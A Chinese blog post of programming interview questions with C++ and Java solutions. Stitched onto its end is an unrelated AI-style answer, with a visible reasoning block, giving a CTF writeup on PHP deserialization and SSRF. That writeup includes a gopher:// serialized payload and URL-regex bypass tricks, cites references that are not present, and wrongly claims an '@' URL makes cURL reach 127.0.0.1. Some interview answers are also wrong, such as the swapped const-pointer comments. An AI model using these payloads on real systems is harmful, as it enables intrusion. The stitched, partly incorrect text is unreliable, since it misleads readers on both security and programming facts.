一道有意思的题目

本文精选多道编程面试题,包括算法实现、排序复杂度分析等,并提供了详细的解答过程。涉及伪代码、Java实现等多种形式。
刚群里有人发了一道面试题 觉得蛮有意思 试着做了下 原题如上 给出伪代码如下:
AllCards == 黑桃A4Q 红桃23478J 梅花456QK 方片A5
甲说:不知道哪张牌 ==>
if cardCount == 1 then delete thisCard
leftCards = 黑桃A4Q 红桃4 梅花45Q 方片A5
// 因为甲知道点数却不知哪张牌则点数必不唯一
乙说:我知道你不知道哪张牌 ==>
if exist card (cardCount == 1) in cardColour then delete this cardColour
leftCards = 黑桃A4Q 方片A5
// 乙敢断言甲不知道则花色里的牌的点数全不唯一 否则甲有可能知道 红桃梅花剔除
甲说:现在我知道了 ==>
if cardCount > 2 then delete thisCard
leftCards = 黑桃4Q 方片5
//则必不为A 甲知道点数 若为A则判断不出是黑桃A还是方片A
乙说:我也知道了 ==>
则只能是方片5,乙才能知道
if leftCardCounts > 1 then delete thisCardColour
leftCards = 方片5
//乙知道花色 此时能推断出是哪张牌 则该花色必只剩一张 所以为方片5

这篇博文不定期更新 收集算法专用 ====================》
题目二:有一个无序的实数序列x1,x2.....xn,请设计个算法在线性时间内找到相邻(不是序列相邻,而是在实数轴上相邻)两点间最大距离。
double max_gap(double* num, int n)
{
int i;
//找出最大最小值
double max=0.0,min = INT_MAX;
for(i=0;i<n;i++)
{
if(num[i]>max) max=num[i];
if(num[i]<min) min=num[i];
}

int *count=new int[n]; //动态分配,实际分到每个桶的数据个数
double *low=new double[n]; //实际分到每个桶的最小数据(下界)
double *high=new double[n]; //实际分到每个桶的最大数据(上界)

for(i = 0; i < n; i++) //初始化每个桶
{
count[i] = 0;
low[i] = max;
high[i] = min;
}

double ave=(max-min)/(n-1);

//按如下规则将num[i]分配到某个桶(编号doublemp)中
for(i=0;i < n; i++)
{
int temp=(int)((num[i]-min)/ave);
count[temp]++;
//调整分到该桶的最大最小数据
if(num[i] > high[temp])
high[temp] = num[i];
if(num[i] < low[temp])
low[temp] = num[i];
}

//寻找最大间隙
double left = high[0], res = 0.0;
for(i = 1;i < n; i++)
{
if(count[i]>0)
{
double temp = low[i]- left;
if(temp > res) res = temp;
left = high[i];
}
}
return res;
}

int main()
{
int num;
cin >> num;
double* pdArr = new double[num];
for (int i = 0; i < num; i++)
{
cin >> pdArr[i];
}
cout << max_gap(pdArr, num)<<endl;
return 0;
}

题目三:下列随机排列算法有问题没
RANDOMIZE-IN-PLACE(A)
n <- length[A]
for i <- 1 to n-1
do swap A[i] <-> A[RANDOM(i+1,n)]
这样数i 永远不会在自己的位置上!可改为:
RANDOMIZE-IN-PLACE(A)
n <- length[A]
for i <- 1 to n-1
do swap A[i] <-> A[RANDOM(i,n)]

题目四:淘宝部分笔试题
选择题:
1、vim里怎么换行(命令模式和insert模式)
2、两个有序列表连接成一个,最少比较次数
3、给一个前缀表达式,求中缀表达式
4、-73的补码
5、函数f【1001】=0,f【1011】=1,问可以成为f的表达式的是?我选了异或
6、一数组和指向该数组的指针,指针自增后,求输出。。。
7、struct 和类的区别

问答题:
1、100用户,每人好友约10个,如何准实时显示好友状态;当用户增至100万时候,会出现什么问题,你之前的方案是否仍然可行
2、JavaScript写一个排序函数
3、JavaScript写一个函数,每隔五秒调用某个函数
4、JavaScript写一个函数,判断输入的字符串是否有效的email地址,用正则表达式
5、html和css方面:给出代码,画出网页大体布局
6、评价令狐冲对岳不群的态度
7、随便涂鸦,表达你的梦想和未来打算
8、用json格式写一个person变量

通用题目
1、选择题
语法的含义
对初始排列顺序不敏感的排序算法
可能指的是在最好与最坏情况下,排序算法的效率浮动过大

动态联编
//只能对基类指针或引用,才能使用动态联编
int main()
{
Base *d = new Derived;
d->af
delete d;
return 0;
}

2、简答题
简述set list map及在何种情况下使用
http://zhidao.baidu.com/question/16113509.html
2、程序设计
有不限数目的1、5、10、20、50面额的纸币,有多少种方法凑出100元
3、数据库设计
购买商品会赠予积分,积分可以兑换商品,过期无效。
请设计数据库,不限一张表

测试类题目
逻辑推理题,记不住题目了,不难

剩下的就记不住分类了

Web服务器工作的runlevel

http正确的响应代码
一、HTTP响应码
响应码由三位十进制数字组成,它们出现在由HTTP服务器发送的响应的第一行。
响应码分五种类型,由它们的第一位数字表示:
1.1xx:信息,请求收到,继续处理
2.2xx:成功,行为被成功地接受、理解和采纳
3.3xx:重定向,为了完成请求,必须进一步执行的动作
4.4xx:客户端错误,请求包含语法错误或者请求无法实现
5.5xx:服务器错误,服务器不能实现一种明显无效的请求
下表显示每个响应码及其含义:
100 继续
101 分组交换协
200 OK
201 被创建
202 被采纳
203 非授权信息
204 无内容
205 重置内容
206 部分内容
300 多选项
301 永久地传送
302 找到
303 参见其他
304 未改动
305 使用代理
307 暂时重定向
400 错误请求
401 未授权
402 要求付费
403 禁止
404 未找到
405 不允许的方法
406 不被采纳
407 要求代理授权
408 请求超时
409 冲突
410 过期的
411 要求的长度
412 前提不成立
413 请求实例太大
414 请求URI太大
415 不支持的媒体类型
416 无法满足的请求范围
417 失败的预期
500 内部服务器错误
501 未被使用
502 网关错误
503 不可用的服务
504 网关超时
505 HTTP版本未被支持

重定向的用法
<meta http-equiv="refresh" content="5;url=http://www.cppblog.com/cool-liangbing/">,
也就是告诉你的浏览器5秒之后自动跳转到我的c++博客首页http://www.cppblog.com/cool-liangbing/。

函数名前加const表示什么含义

const表示得到的一个结果常量,所修饰的蛮量和函数结果都不能被修改,所以一切想修改const年修饰的值的都会报错
http://topic.youkuaiyun.com/t/20020221/19/536312.html
Const int * //const指针
Int * const //指向const的指针
Const int* const //指针const的指针

题目五:排序复杂度


题目六:搜狐某编程题
{1,2,2,3,4,5,}排列组合要求,4不放第三位,3,5不相连。
刚写了个java的实现版本如下:

import java.util.Set;
import java.util.TreeSet;
public class perm {

Set<String> set = new TreeSet<String>();
StringBuilder sb = new StringBuilder();
public <T> void goperm(T list[], int k, int m){
int i;
if(k == m){
if(testCondition(list)){
sb.replace(0, sb.length(), "");
// if(true){
for(int j=0; j<=m; j++)
{
sb.append(list[j]);
// System.out.print(list[j]);
}
// System.out.println("");
set.add(sb.toString());
}
}else{
for(i = k; i<=m; i++){
// if(testCondition(list,k,i)){
swap(list,k,i);
goperm(list, k+1, m);
swap(list,i,k);
// }
}
}
}
public <T> boolean testCondition(T list[]){
if(list[2].toString() == "4" ){return false;}
for(int i=0; i<5; i++){
if(list[i].toString() == "3"){
if(list[i+1].toString() == "5") return false;
else return true;
}
if(list[i].toString() == "5"){
if(list[i+1].toString() == "3") return false;
else return true;
}
}
return true;
}
public <T> boolean testCondition(T list[],int k,int i){
if(k!=i && list[k].toString() == "2"){return false;}
return true;
}
public void printSet(){
System.out.println("total number:"+set.size());
System.out.println(set);
}
public <T> void swap(T list[], int a, int b){
T temp = list[a];
list[a] = list[b];
list[b] = temp;
}
public static void main(String[] args) {
String[] str = new String[]{"1","2","2","3","4","5"};
perm p = new perm();
p.goperm(str,0,5);
p.printSet();

}
}


题目七:百度三面某编程题
N个台阶,每次可走一个或两个
问共有多少种走法? Java版实现如下(递归思想):
public class stepCount {
static int count = 0;
static void func(int left){
if(left <= 1) count ++;
else{
func(left-1);
func(left-2);
}
}
public static void main(String[] args) {
func(4);
System.out.println(count);
}
}
题目八:轩辕互动上级题
有一个存储每日股票价格的数组A[0,1,2,...n],求买入卖出的最大差价,即最大赢利是多少,如果输入的数据有几百兆字节该怎么办,求最大赢利还好求,这个输入过大该怎么办 (先买后卖)
minValue=min(a[0],a[1]);
maxDelta=a[1]-a[0];
for i=2→n
if (a[i]<minValue) minValue=a[i];
else if ((a[i]-minValue)>maxDelta) maxDelta=a[i]-minValue

题目九:完美题
死锁是怎么出现的?如何避免?
数据库设计的第三范式;
什么是存储过程?其原理和好处?
IP头和TCP头分别包含什么信息;
JAVA中异常的分类;
Linux中syslog的分类?默认文件?日志轮转的配置;
C++中虚函数的实现机制;
windows的hernel32.dll和user.dll分别完成了哪些方面的函数封装;

原帖:http://blog.sina.com.cn/s/blog_67afbf0b0100mn0c.html
<think>嗯,用户想查找BUUCTF平台上的一道有趣题目的解题思路(wp)。这个问题需要结合用户提供的多个引用内容来回答,这些引用涵盖了Misc、RE、Crypto、Web等多个方向的题目解法片段。 首先注意到用户特别强调了"有趣"这个关键词。根据提供的引用内容,几个题目类型都挺有意思的:引用1提到Brainfuck和Ook语言加解密,引用2是迷宫题,引用5是个简单的栈溢出题。其中引用3的robots协议泄露源码题目比较特殊,涉及PHP反序列化和SSRF漏洞利用,解题过程包含较多安全知识点,而且包含了源码分析、正则绕过、SSRF利用等层层递进的技巧。 准备从引用3的robots题目入手。引用3详细提供了源码内容,需要完整分析漏洞点:UserInfo类构造函数有参数注入风险;isValidBlog()方法使用正则校验URL格式,但容易被绕过;get()方法存在SSRF漏洞。解题思路可以分四步:访问robots.txt获取备份文件→分析源码→构造POP链→绕过URL验证读取flag。 还考虑在回答中补充两个相关问题:一个是关于正则绕过的变体思考,另一个是SSRF防御措施。这样既能满足用户获取解题思路的需求,又能延伸相关知识点。 最后检查引用标记的使用。在提到robots泄露时会引用[^3],在设计POP链利用SSRF时也会引用该源码内容。这样既保持了回答专业性,又确保所有引用来源都有明确标注。 </think>以下是BUUCTF中一道**设计巧妙且综合性较强**的题目(基于引用[3]的Web类题目)的完整解题思路: --- ### 题目:robots协议与PHP反序列化(Web类) #### 解题思路 **1. 发现源码泄露** 访问网站根目录下的 `robots.txt`,发现提示文件: ```http User-agent: * Disallow: /user.php.bak ``` 下载 `user.php.bak` 获取源码(引用[3])。 **2. 分析源码漏洞** 关键代码: ```php class UserInfo { public $name, $age, $blog; // ... public function getBlogContents() { return $this->get($this->blog); // 触发SSRF } public function isValidBlog() { return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $this->blog); } } ``` - **漏洞点1**:`isValidBlog()` 正则过滤可绕过(如 `http://127.0.0.1:80@evil.com` 会被解析为访问127.0.0.1)。 - **漏洞点2**:`getBlogContents()` 方法通过cURL发起请求,存在**SSRF(服务端请求伪造)**。 **3. 构造POP链利用反序列化** 目标:通过反序列化控制 `$blog` 属性,利用SSRF读取内网flag。 - 触发点:搜索源码中 `unserialize()` 的调用位置(题目通常通过Cookie、POST参数传入序列化数据)。 - 构造Payload: ```php <?php class UserInfo { public $blog = "gopher://127.0.0.1:80/_GET%20/flag.txt%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0A%0D%0A"; } echo serialize(new UserInfo); // 输出:O:8:"UserInfo":1:{s:4:"blog";s:58:"gopher://...";} ``` **4. 绕过URL正则校验** - 利用 `@` 符号混淆域名解析: `$blog = "http://127.0.0.1:80@example.com";` 正则校验通过,但cURL实际访问 `127.0.0.1:80`。 - 使用 `0://` 协议绕过(需环境支持): `$blog = "0://127.0.0.1:80/flag";` **5. 获取Flag** 将生成的序列化字符串提交至服务端(如通过Cookie),触发SSRF访问内网 `flag.txt`,响应中包含Flag。 --- ### 🔍 为什么此题有趣? 1. **多层知识点融合**: - robots协议 → 源码泄露 → 反序列化 → 正则绕过 → SSRF → 内网渗透 2. **经典漏洞组合**: 反序列化+SSRF是CTF Web题的常见套路,但结合URL解析特性设计绕过增加了挑战性。 3. **贴近实战**: 类似漏洞曾出现在真实CMS中(如Typecho反序列化漏洞CVE-2018-18753)。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值